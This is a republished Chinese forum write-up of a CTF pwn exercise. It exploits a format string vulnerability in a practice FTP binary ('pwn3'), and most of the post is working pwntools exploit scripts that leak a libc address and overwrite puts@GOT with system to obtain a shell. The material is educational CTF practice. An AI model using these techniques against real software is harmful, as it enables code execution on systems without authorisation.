PWN学习笔记【格式化字符串漏洞练习】

资讯 作者:看雪学院 2022-07-06 21:10:56 阅读:286


本文为看雪论坛优秀文章
看雪论坛作者ID:洋洋不得意


ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录。

其中get方法存在格式化字符串漏洞:
所以需要先put一个文件,内容是payload,然后get这个文件。

先测试一下偏移:
from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get():    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()

结果:
看到tag偏移量是7。

再测试一下,把put最后一行改一下:
def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA%7$p')
确定偏移是7。
dir方法:
开始构造payload:

把puts的地址改成system的地址,然后put一个文件,文件名为‘/bin/sh;’, 然后再调用dir, show_dir()函数会执行puts("/bin/sh;...")
也就是 system("/bin/sh;..."),反弹shell。

exp:
from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr  def compute_order_32(target):    print("target=%x"%target)    dic = {}    for i in range(4):        x = (target >> (i * 8))        x &= 0xff        dic[i] = x             ls = list(dic.items())    ls.sort(key=lambda x:x[1])    return ls  def hack(addr, value, offset_start):    list_of_value = compute_order_32(value)    print(list_of_value)     payload = flat([        p32(addr + 0),        p32(addr + 1),        p32(addr + 2),        p32(addr + 3)    ])     total_char = 16    for it in list_of_value:        curr_char = it[1] - total_char        total_char += curr_char        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"     print("addr=%x"%addr)    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

需要计算偏移量覆盖got['puts']

怎么覆盖看这个:https://bbs.pediy.com/thread-273213.htm

可以用pwntools里面的方法,一行代码搞定:payload = fmtstr_payload(7, {addr: value})

使用fmtstr_payload后的版本:
from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr def hack(addr, value, offset_start):    payload = fmtstr_payload(7, {addr: value})    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

看下区别,这个是pwntools生成的payload:
这个是我的:
区别在格式化字符串和指针的位置不同。

看下覆盖后的got,已经变成system了,nice。




看雪ID:洋洋不得意

https://bbs.pediy.com/user-home-861996.htm

*本文由看雪论坛 洋洋不得意 原创,转载请注明来自看雪社区



# 往期推荐

1.2022 CISCN初赛 Satool

2.练习1个Kimsuky样本

3.SVC的TraceHook沙箱的实现&无痕Hook实现思路

4.UAC Bypass 技术学习

5.LLVM PASS类pwn题入门

6.Akamai保护的相关网站(IHG,TI)学习记录






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

在线申请SSL证书行业最低 =>立即申请

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

#
公众号 关注KnowSafe微信公众号
随时掌握互联网精彩
赞助链接